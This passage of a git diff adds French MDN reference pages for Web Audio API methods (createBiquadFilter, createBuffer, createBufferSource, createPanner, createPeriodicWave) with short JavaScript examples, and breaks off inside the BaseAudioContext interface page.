@@ -0,0 +1,86 @@
+---
+title: BaseAudioContext.createBiquadFilter()
+slug: Web/API/BaseAudioContext/createBiquadFilter
+tags:
+  - API
+  - BaseAudioContext
+  - Méthode
+  - Reference
+  - Web Audio
+  - Web Audio API
+  - createBiquadFilter
+translation_of: Web/API/BaseAudioContext/createBiquadFilter
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>La méthode <code>createBiquadFilter()</code> de l'interface {{ domxref("BaseAudioContext") }} crée un {{ domxref("BiquadFilterNode") }}, qui représente un filtre de second ordre configurable comme plusieurs types de filtres communs différents.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">baseAudioContext.createBiquadFilter();</pre>
+
+<h3 id="Description" name="Description">Retourne</h3>
+
+<p>un {{domxref("BiquadFilterNode")}}.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>L'exemple suivant montre une utilisation basique d'un AudioContext pour créer un nœud de filtre Biquad. Pour un exemple fonctionnel complet, visitez notre démonstration <a href="https://mdn.github.io/voice-change-o-matic/">voice-change-o-matic</a> (et lisez de même le <a href="https://github.com/mdn/voice-change-o-matic">code source</a>).</p>
+
+<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+
+//set up the different audio nodes we will use for the app
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+var convolver = audioCtx.createConvolver();
+
+// connect the nodes together
+
+source = audioCtx.createMediaStreamSource(stream);
+source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+biquadFilter.connect(convolver);
+convolver.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+// Manipulate the Biquad filter
+
+biquadFilter.type = "lowshelf";
+biquadFilter.frequency.setValueAtTime(1000, audioCtx.currentTime);
+biquadFilter.gain.setValueAtTime(25, audioCtx.currentTime);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#dom-baseaudiocontext-createbiquadfilter', 'createBiquadFilter()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.BaseAudioContext.createBiquadFilter")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser l'API Web Audio</a></li>
+</ul>
diff --git a/files/fr/web/api/baseaudiocontext/createbuffer/index.html b/files/fr/web/api/baseaudiocontext/createbuffer/index.html
new file mode 100644
index 0000000000..b10510eb94
--- /dev/null
+++ b/files/fr/web/api/baseaudiocontext/createbuffer/index.html
@@ -0,0 +1,175 @@
+---
+title: BaseAudioContext.createBuffer()
+slug: Web/API/BaseAudioContext/createBuffer
+tags:
+  - API
+  - AudioContext
+  - BaseAudioContext
+  - Method
+  - Reference
+  - Web Audio API
+  - createBuffer
+translation_of: Web/API/BaseAudioContext/createBuffer
+---
+<p>{{APIRef("API Web Audio")}}</p>
+
+<p>La méthode <code>createBuffer()</code> de l'interface {{domxref("BaseAudioContext")}} est utilisée pour créer un nouvel objet {{domxref("AudioBuffer")}} vide, qui peut ensuite être rempli.</p>
+
+<p>Pour plus de détails sur les tampons audio, consultez la page de référence {{domxref ("AudioBuffer")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> <code>createBuffer()</code> permettait de prendre des données compressées et de restituer des échantillons décodés, mais cette possibilité a été supprimée de la spécification, du fait que tout le décodage était effectué dans le thread principal, donc <code>createBuffer()</code> bloquait l'exécution du reste du code. La méthode asynchrone <code>decodeAudioData()</code> fait la même chose - prend l'audio compressé, par exemple, un fichier MP3, et vous renvoie directement un {{domxref("AudioBuffer")}} que vous pouvez ensuite faire jouer via {{domxref("AudioBufferSourceNode")}}. Pour des utilisations simples comme la lecture d'un fichier MP3, <code>decodeAudioData()</code> est ce que vous devriez utiliser.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var tampon = baseAudioContext.createBuffer(<em>nbDeCanaux</em>, <em>longueur</em>, <em>frequenceDEchantillonnage</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<div class="note">
+<p><strong>Note :</strong> pour une explication en profondeur de la façon dont les tampons audio fonctionnent, ainsi que de leur signification, lire <a href="/fr/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Les concepts de base de la Web Audio API</a> de notre guide des concepts de base.</p>
+</div>
+
+<dl>
+ <dt>nbDeCanaux</dt>
+ <dd>Un nombre entier représentant le nombre de canaux que ce tampon doit avoir. Les implémentations doivent prendre en charge un minimum de 1 canal et un maximum de 32 canaux.</dd>
+ <dt>longueur</dt>
+ <dd><span id="result_box" lang="fr"><span class="alt-edited">Un entier représentant la taille du tampon dans les trames d'échantillons.</span></span></dd>
+ <dt>frequenceDEchantillonnage</dt>
+ <dd>La fréquence d'échantillonnage des données audio linéaires en trames d'échantillons par seconde. Une implémentation doit supporter des fréquences d'échantillonnage comprises au minimum dans la plage 22050 et 96000.</dd>
+</dl>
+
+<h3 id="Retourne">Retourne</h3>
+
+<p>Un {{domxref("AudioBuffer")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Tout d'abord, deux exemples triviaux simples pour aider à expliquer comment les paramètres sont utilisés :</p>
+
+<pre class="brush: js">var ctxAudio = new AudioContext();
+var tampon = ctxAudio.createBuffer(2, 22050, 44100);</pre>
+
+<p>Si vous utilisez cet appel, vous obtiendrez un tampon stéréo (deux canaux), qui, lorsque relu avec un <code>AudioContext</code> fonctionnant à 44100Hz (très courant, la plupart des cartes son normales fonctionnent à cette fréquence), durera 0,5 seconde : 22050 trames / 44100 Hz = 0,5 seconde.</p>
+
+<pre class="brush: js">var ctxAudio = new AudioContext();
+var tampon = ctxAudio.createBuffer(1, 22050, 22050);</pre>
+
+<p>Si vous utilisez cet appel, vous obtiendrez un tampon mono (un canal), qui, lorsqu'il sera relu avec un <code>AudioContext</code> fonctionnant à 44100Hz, sera automatiquement *rééchantillonné* à 44100Hz (et produira donc 44100 trames), et durera 1,0 seconde : 44100 images / 44100Hz = 1 seconde.</p>
+
+<div class="note">
+<p><strong>Note :</strong> le rééchantillonnage audio est très similaire au redimensionnement d'une image : supposons que vous ayez une image 16 x 16, mais que vous vouliez qu'elle remplisse une zone 32x32: vous la redimensionnez (rééchantillonnez). Le résultat aura une qualité moindre (il pourra être flou ou bizarre, selon l'algorithme de redimensionnement), mais cela fonctionnera, et l'image redimensionnée prendra moins de place. L'audio rééchantillonné est exactement la même chose - vous économisez de l'espace, mais en pratique, vous ne pourrez pas reproduire correctement le contenu haute fréquence (les sons aigus).</p>
+</div>
+
+<p>Examinons maintenant un exemple de <code>createBuffer()</code> plus complexe, dans lequel nous créons un tampon de deux secondes, le remplissons de bruit blanc, puis le reproduisons via {{domxref("AudioBufferSourceNode")}}. Le commentaire devrait clairement faire comprendre ce qui se passe. Vous pouvez également exécuter le code en direct ou regarder le source.</p>
+
+<pre class="brush: js;highlight[14]">var ctxAudio = new (window.AudioContext || window.webkitAudioContext)();
+
+// Création d'un tampon stéréo vide de trois secondes à la fréquence d'échantillonnage de l'AudioContext
+var monArrayBuffer = ctxAudio.createBuffer(2, ctxAudio.sampleRate * 3, ctxAudio.sampleRate);
+
+// Remplissage du tampon avec du bruit blanc ;
+// simplement des valeurs aléatoires entre -1,0 et 1,0
+for (var canal = 0; canal &lt; monArrayBuffer.numberOfChannels; canal++) {
+  // Cela nous donne le ArrayBuffer qui contient effectivement les données
+  var donneesCourantes = monArrayBuffer.getChannelData(canal);
+  for (var i = 0; i &lt; monArrayBuffer.length; i++) {
+    // Math.random() est dans [0; 1,0]
+    // l'audio doit se trouver dans [-1,0; 1,0]
+    donneesCourantes[i] = Math.random() * 2 - 1;
+  }
+}
+
+// Récupération d'un AudioBufferSourceNode.
+// C'est l'AudioNode à utiliser quand nous voulons lire un AudioBuffer
+var source = ctxAudio.createBufferSource();
+// Définir le tampon dans l'AudioBufferSourceNode
+source.buffer = monArrayBuffer;
+// Connecter l'AudioBufferSourceNode à la destination,
+// de sorte que nous puissions entendre le son
+source.connect(ctxAudio.destination);
+// Démarrer la lecture de la source
+source.start();</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#dom-baseaudiocontext-createbuffer', 'createBuffer()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0 {{property_prefix("webkit")}}<br>
+    22</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utilisation de l'API Web Audio</a></li>
+</ul>
diff --git a/files/fr/web/api/baseaudiocontext/createbuffersource/index.html b/files/fr/web/api/baseaudiocontext/createbuffersource/index.html
new file mode 100644
index 0000000000..4449e78563
--- /dev/null
+++ b/files/fr/web/api/baseaudiocontext/createbuffersource/index.html
@@ -0,0 +1,93 @@
+---
+title: BaseAudioContext.createBufferSource()
+slug: Web/API/BaseAudioContext/createBufferSource
+translation_of: Web/API/BaseAudioContext/createBufferSource
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<p><span class="seoSummary">La méthode <code>createBufferSource()</code> de l’interface {{ domxref("BaseAudioContext") }} est utilisée pour créer un nouveau {{ domxref("AudioBufferSourceNode") }}, qui peut être employé pour jouer des données audio contenues dans un objet {{ domxref("AudioBuffer") }}.</span> Des {{ domxref("AudioBuffer") }} peuvent être créés en utilisant {{domxref("BaseAudioContext.createBuffer")}}, ou sont retournés par la méthode {{domxref("BaseAudioContext.decodeAudioData")}} quand elle a terminé de décoder une piste audio avec succès.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>source</var> = <var>baseAudioContext</var>.createBufferSource();</pre>
+
+<h3 id="Retourne">Retourne</h3>
+
+<p>Un {{domxref("AudioBufferSourceNode")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, on crée un tampon de deux secondes, on le remplit avec du bruit blanc, puis on le joue via un {{ domxref("AudioBufferSourceNode") }}. Les commentaires devraient expliquer clairement ce qui se passe.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Vous pouvez également <a href="https://mdn.github.io/webaudio-examples/audio-buffer/" lang="en-US">exécuter le code en direct</a>, ou <a href="https://github.com/mdn/webaudio-examples/blob/master/audio-buffer/index.html" lang="en-US">voir la source</a>.</p>
+</div>
+
+<pre class="brush: js;highlight[31]">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var button = document.querySelector('button');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// Stéréo
+var channels = 2;
+// Crée un tampon stéréo vide de deux secondes au
+// taux d’échantillonage de l’AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+
+var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Remplit le tampon avec du bruit blanc ;
+  // simplement des valeurs aléatoires entre -1.0 et 1.0
+  for (var channel = 0; channel &lt; channels; channel++) {
+   // Ceci nous donne l’ArrayBuffer qui contient les données
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
+   for (var i = 0; i &lt; frameCount; i++) {
+     // Math.random() est parmi [0; 1.0]
+     // audio doit être parmi [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // Obtient un AudioBufferSourceNode.
+  // C’est l’AudioNode à utiliser quand nous voulons jouer un AudioBuffer
+  var source = audioCtx.createBufferSource();
+  // renseigne l’AudioBufferSourceNode avec notre tampon
+  source.buffer = myArrayBuffer;
+  // connecte l’AudioBufferSourceNode à la
+  // destination afin qu’on puisse entendre le son
+  source.connect(audioCtx.destination);
+  // commence la lecture de la source
+  source.start();
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#dom-baseaudiocontext-createbuffersource', 'createBufferSource()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité dans cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.BaseAudioContext.createBufferSource")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API" lang="fr">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/baseaudiocontext/createpanner/index.html b/files/fr/web/api/baseaudiocontext/createpanner/index.html
new file mode 100644
index 0000000000..9630c4af5f
--- /dev/null
+++ b/files/fr/web/api/baseaudiocontext/createpanner/index.html
@@ -0,0 +1,157 @@
+---
+title: BaseAudioContext.createPanner()
+slug: Web/API/BaseAudioContext/createPanner
+tags:
+  - API
+  - AudioContext
+  - BaseAudioContext
+  - Méthode
+  - Reference
+  - Web Audio
+  - Web Audio API
+  - createPanner
+translation_of: Web/API/BaseAudioContext/createPanner
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>La méthode <code>createPanner()</code> de l'interface {{ domxref("BaseAudioContext") }} est utilisée pour créer un nouveau {{domxref("PannerNode")}}, qui sert à spatialiser dans un environnement 3D un flux audio entrant.</p>
+</div>
+
+<p>Le <em>panner node</em> est spatialisé en relation avec l'{{domxref("AudioListener") }} de l'AudioContext (défini par l'attribut {{domxref("AudioContext.listener") }}), qui représente la position et l'orientation de la personne écoutant le flux audio.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">baseAudioCtx.createPanner();</pre>
+
+<h3 id="Retourne">Retourne</h3>
+
+<p>Un {{domxref("PannerNode")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant, vous pouvez voir comment la méthode <code>createPanner()</code>, l'{{domxref("AudioListener")}} et le {{domxref("PannerNode")}} peuvent être utilisés pour contrôler la spatialisation d'un flux audio. Généralement, vous définirez la position dans un espace 3D que votre écouteur et votre <em>panner</em> (source) occupaient initialement, puis ajuster la position de l'un ou des deux au fur et à mesure de l'utilisation. Vous pourriez par exemple vouloir déplacer un personnage dans un monde de jeu vidéo, et vouloir que le rendu audio change de manière réaliste tandis que le personnage s'approche ou s'éloigne d'un diffuseur audio tel qu'une chaîne stéréo. Dans cet exemple, vous pouvez voir ceci contrôlé par les fonctions <code>moveRight()</code>, <code>moveLeft()</code>, etc., qui définissent de nouvelles valeurs pour la position du <em>panner</em> via la fonction <code>PositionPanner()</code>.</p>
+
+<p>Pour voir une implantation complète, visitez notre <a href="https://mdn.github.io/webaudio-examples/panner-node/">exemple de panner-node</a> (<a href="https://github.com/mdn/webaudio-examples/tree/master/panner-node">lisez le code source aussi !</a>) – cette démonstration vous transporte dans un environnement 2.5D appelé "Pièce de métal", où vous pouvez jouer un morceau sur une boom box et vous déplacer autour de celle-ci pour entendre comment le son change !</p>
+
+<p>Notez la manière dont nous avons utilisé la détection de fonctionnalité pour soit donner au navigateur les nouvelles valeurs des propriétés (comme {{domxref("AudioListener.forwardX")}}) pour définir la position, etc. s'il le permet, ou d'anciennes méthodes (comme {{domxref("AudioListener.setOrientation()")}}) s'il les permet aussi mais non les nouvelles propriétés.</p>
+
+<pre class="brush: js">// set up listener and panner position information
+var WIDTH = window.innerWidth;
+var HEIGHT = window.innerHeight;
+
+var xPos = Math.floor(WIDTH/2);
+var yPos = Math.floor(HEIGHT/2);
+var zPos = 295;
+
+// define other variables
+
+var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var panner = audioCtx.createPanner();
+panner.panningModel = 'HRTF';
+panner.distanceModel = 'inverse';
+panner.refDistance = 1;
+panner.maxDistance = 10000;
+panner.rolloffFactor = 1;
+panner.coneInnerAngle = 360;
+panner.coneOuterAngle = 0;
+panner.coneOuterGain = 0;
+
+if(panner.orientationX) {
+  panner.orientationX.setValueAtTime(1, audioCtx.currentTime);
+  panner.orientationY.setValueAtTime(0, audioCtx.currentTime);
+  panner.orientationZ.setValueAtTime(0, audioCtx.currentTime);
+} else {
+  panner.setOrientation(1,0,0);
+}
+
+var listener = audioCtx.listener;
+
+if(listener.forwardX) {
+  listener.forwardX.setValueAtTime(0, audioCtx.currentTime);
+  listener.forwardY.setValueAtTime(0, audioCtx.currentTime);
+  listener.forwardZ.setValueAtTime(-1, audioCtx.currentTime);
+  listener.upX.setValueAtTime(0, audioCtx.currentTime);
+  listener.upY.setValueAtTime(1, audioCtx.currentTime);
+  listener.upZ.setValueAtTime(0, audioCtx.currentTime);
+} else {
+  listener.setOrientation(0,0,-1,0,1,0);
+}
+
+var source;
+
+var play = document.querySelector('.play');
+var stop = document.querySelector('.stop');
+
+var boomBox = document.querySelector('.boom-box');
+
+var listenerData = document.querySelector('.listener-data');
+var pannerData = document.querySelector('.panner-data');
+
+leftBound = (-xPos) + 50;
+rightBound = xPos - 50;
+
+xIterator = WIDTH/150;
+
+// listener will always be in the same place for this demo
+
+if(listener.positionX) {
+  listener.positionX.setValueAtTime(xPos, audioCtx.currentTime);
+  listener.positionY.setValueAtTime(yPos, audioCtx.currentTime);
+  listener.positionZ.setValueAtTime(300, audioCtx.currentTime);
+} else {
+  listener.setPosition(xPos,yPos,300);
+}
+
+listenerData.innerHTML = 'Listener data: X ' + xPos + ' Y ' + yPos + ' Z ' + 300;
+
+// panner will move as the boombox graphic moves around on the screen
+function positionPanner() {
+  if(panner.positionX) {
+    panner.positionX.setValueAtTime(xPos, audioCtx.currentTime);
+    panner.positionY.setValueAtTime(yPos, audioCtx.currentTime);
+    panner.positionZ.setValueAtTime(zPos, audioCtx.currentTime);
+  } else {
+    panner.setPosition(xPos,yPos,zPos);
+  }
+  pannerData.innerHTML = 'Panner data: X ' + xPos + ' Y ' + yPos + ' Z ' + zPos;
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: In terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#dom-baseaudiocontext-createpanner', 'createPanner()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.BaseAudioContext.createPanner")}}</p>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser l'API Web Audio</a></li>
+</ul>
diff --git a/files/fr/web/api/baseaudiocontext/createperiodicwave/index.html b/files/fr/web/api/baseaudiocontext/createperiodicwave/index.html
new file mode 100644
index 0000000000..94622f3a32
--- /dev/null
+++ b/files/fr/web/api/baseaudiocontext/createperiodicwave/index.html
@@ -0,0 +1,108 @@
+---
+title: BaseAudioContext.createPeriodicWave()
+slug: Web/API/BaseAudioContext/createPeriodicWave
+tags:
+  - API
+  - Audio
+  - AudioContext
+  - BaseAudioContext
+  - Media
+  - Méthode
+  - Web Audio API
+  - createPeriodicWave
+translation_of: Web/API/BaseAudioContext/createPeriodicWave
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p><span class="seoSummary">La méthode <code>createPeriodicWave()</code> de l'interface {{ domxref("BaseAudioContext") }} est utilisée pour créer une {{domxref("PeriodicWave")}} (onde périodique), qui sert à définir une onde sinusoïdale périodique qui peut être utilisée pour modeler la sortie d'un {{ domxref("OscillatorNode") }}.</span></p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var onde = <em>AudioContext</em>.createPeriodicWave(<em>réel</em>, <em>imag</em>[, <em>constraints</em>]);</pre>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Un {{domxref("PeriodicWave")}}.</p>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>réel</code></dt>
+ <dd>Un tableau de termes cosinus (traditionnellement les termes A).</dd>
+ <dt><code>imag</code></dt>
+ <dd>Un tableau de termes sinus (traditionnellement les termes B).</dd>
+ <dt><code>contraintes</code> {{optional_inline}}</dt>
+ <dd>Un objet dictionnaire spécifiant si la normalisation doit être désactivée (si non spécifié, la normalisation est activée par défaut). Il accepte une propriété :
+ <ul>
+  <li><code>disableNormalization</code>: si réglé à <code>true</code>, la normalisation est désactivée pour l'onde périodique. Sa valeur par défaut est <code>false</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<div class="note">
+<p>Si normalisée, l'onde résultante aura une valeur absolue de sommet égale à 1.</p>
+</div>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant illustre un usage simple de <code>createPeriodicWave()</code>, pour créer un objet {{domxref("PeriodicWave")}} contenant une simple courbe de sinus.</p>
+
+<pre class="brush: js">var réel = new Float32Array(2);
+var imag = new Float32Array(2);
+var contexteAudio = new AudioContext();
+var oscillateur = contexteAudio.createOscillator();
+
+réel[0] = 0;
+imag[0] = 0;
+réel[1] = 1;
+imag[1] = 0;
+
+var onde = contexteAudio.createPeriodicWave(réel, imag, {disableNormalization: true});
+
+oscillateur.setPeriodicWave(wave);
+
+oscillateur.connect(contexteAudio.destination);
+
+oscillateur.start();
+oscillateur.stop(2);</pre>
+
+<p>Cela fonctionne car un son n'ayant qu'un unique harmonique est par définition une onde sinusoïdale.</p>
+
+<p>Ici, nous créons une <code>PeriodicWave</code> avec deux valeurs. La première est le décalage DC, qui est la valeur à la quelle l'ocillateur démarre. 0 est une bonne valeur de départ ici car nous voulons commencer la courbe au milieu de l'intervalle [-1.0; 1.0].</p>
+
+<p>La seconde valeur et les suivantes sont les composantes de sinus et de cosinus. Vous pouvez les voir comme le résultat d'une transformation de Fourier, où l'on obtient les valeurs du domaine de fréquence à partir de la valeur du domaine de temps. Ici, avec <code>createPeriodicWave()</code>, vous spécifiez les fréquences, et le navigateur calcule une transformation inverse de Fourier pour obtenir un tampon de domaine de temps pour la fréquence de l'oscillateur. Ici, nous définissons seulement un composant au volume maximal (1.0) sur l'harmonique fondamentale, ainsi on obtient une courbe sinusoïdale.</p>
+
+<p>Les coefficients de la transformation de Fourier doivent être données dans un ordre <em>croissant</em> (c'est-à-dire <math><semantics><mrow><mrow><mo>(</mo><mrow><mi>a</mi><mo>+</mo><mi>b</mi><mi>i</mi></mrow><mo>)</mo></mrow><msup><mi>e</mi><mi>i</mi></msup><mo>,</mo><mrow><mo>(</mo><mrow><mi>c</mi><mo>+</mo><mi>d</mi><mi>i</mi></mrow><mo>)</mo></mrow><msup><mi>e</mi><mrow><mn>2</mn><mi>i</mi></mrow></msup><mo>,</mo><mrow><mo>(</mo><mrow><mi>f</mi><mo>+</mo><mi>g</mi><mi>i</mi></mrow><mo>)</mo></mrow><msup><mi>e</mi><mrow><mn>3</mn><mi>i</mi></mrow></msup></mrow><annotation encoding="TeX">\left(a+bi\right)e^{i} , \left(c+di\right)e^{2i} , \left(f+gi\right)e^{3i}    </annotation></semantics></math> etc) et peuvent être positifs ou négatifs. Une méthode simple pour obtenir manuellement de tels coefficients (bien qu'elle ne soit la meilleure) est d'utiliser une calculateur graphique.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#dom-baseaudiocontext-createperiodicwave', 'createPeriodicWave')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.BaseAudioContext.createPeriodicWave")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser l'API Web Audio</a></li>
+</ul>
diff --git a/files/fr/web/api/baseaudiocontext/index.html b/files/fr/web/api/baseaudiocontext/index.html
new file mode 100644
index 0000000000..76208b71b9
--- /dev/null
+++ b/files/fr/web/api/baseaudiocontext/index.html
@@ -0,0 +1,291 @@
+---
+title: BaseAudioContext
+slug: Web/API/BaseAudioContext
+tags:
+  - API
+  - Audio
+  - BaseAudioContext
+  - Interface
+  - Reference
+  - TopicStub
+  - Web Audio API
+translation_of: Web/API/BaseAudioContext
+---
+<div>{{APIRef("Web Audio API")}}</div>
+
+<p class="summary"><span class="seoSummary">L'interface <code>BaseAudioContext</code> agit comme une définition de base pour les graphiques de traitement audio en ligne et hors ligne, comme représenté par {{domxref("AudioContext")}} et {{domxref("OfflineAudioContext")}} respectivement.</span> Vous n'utiliseriez pas <code>BaseAudioContext</code> directement — vous utiliseriez ses fonctionnalités via l'une de ces deux interfaces héréditaires.</p>
+
+<p>Un <code>BaseAudioContext</code> peut être une cible d'événements, il implémente donc l'interface {{domxref("EventTarget")}}.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("BaseAudioContext.audioWorklet")}} {{experimental_inline}} {{readonlyInline}}</dt>
+ <dd>Renvoie l'objet {{domxref("AudioWorklet")}}, utilisé pour créer des AudioNodes personnalisés avec traitement JavaScript.</dd>
+ <dt>{{domxref("BaseAudioContext.currentTime")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un double représentant une durée matérielle toujours croissante en secondes utilisée pour la planification. Il commence à <code>0</code>.</dd>
+ <dt>{{domxref("BaseAudioContext.destination")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un {{domxref("AudioDestinationNode")}} représentant la destination finale de tout l'audio dans le contexte. Il peut être considéré comme le périphérique de rendu audio.</dd>
+ <dt>{{domxref("BaseAudioContext.listener")}} {{readonlyInline}}</dt>
+ <dd>Renvoie l'objet {{domxref("AudioListener")}}, utilisé pour la spatialisation 3D.</dd>
+ <dt>{{domxref("BaseAudioContext.sampleRate")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un float représentant la fréquence d'échantillonnage (en échantillons par seconde) utilisée par tous les <span class="tlid-translation translation" lang="fr"><span title="">nœuds dans ce contexte.</span></span> La fréquence d'échantillonnage d'un {{domxref("AudioContext")}} ne peut pas être modifiée.</dd>
+ <dt>{{domxref("BaseAudioContext.state")}} {{readonlyInline}}</dt>
+ <dd>Renvoie l'état actuel de l'<code>AudioContext</code>.</dd>
+</dl>
+
+<h3 id="Gestionnaires_dévénements">Gestionnaires d'événements</h3>
+
+<dl>
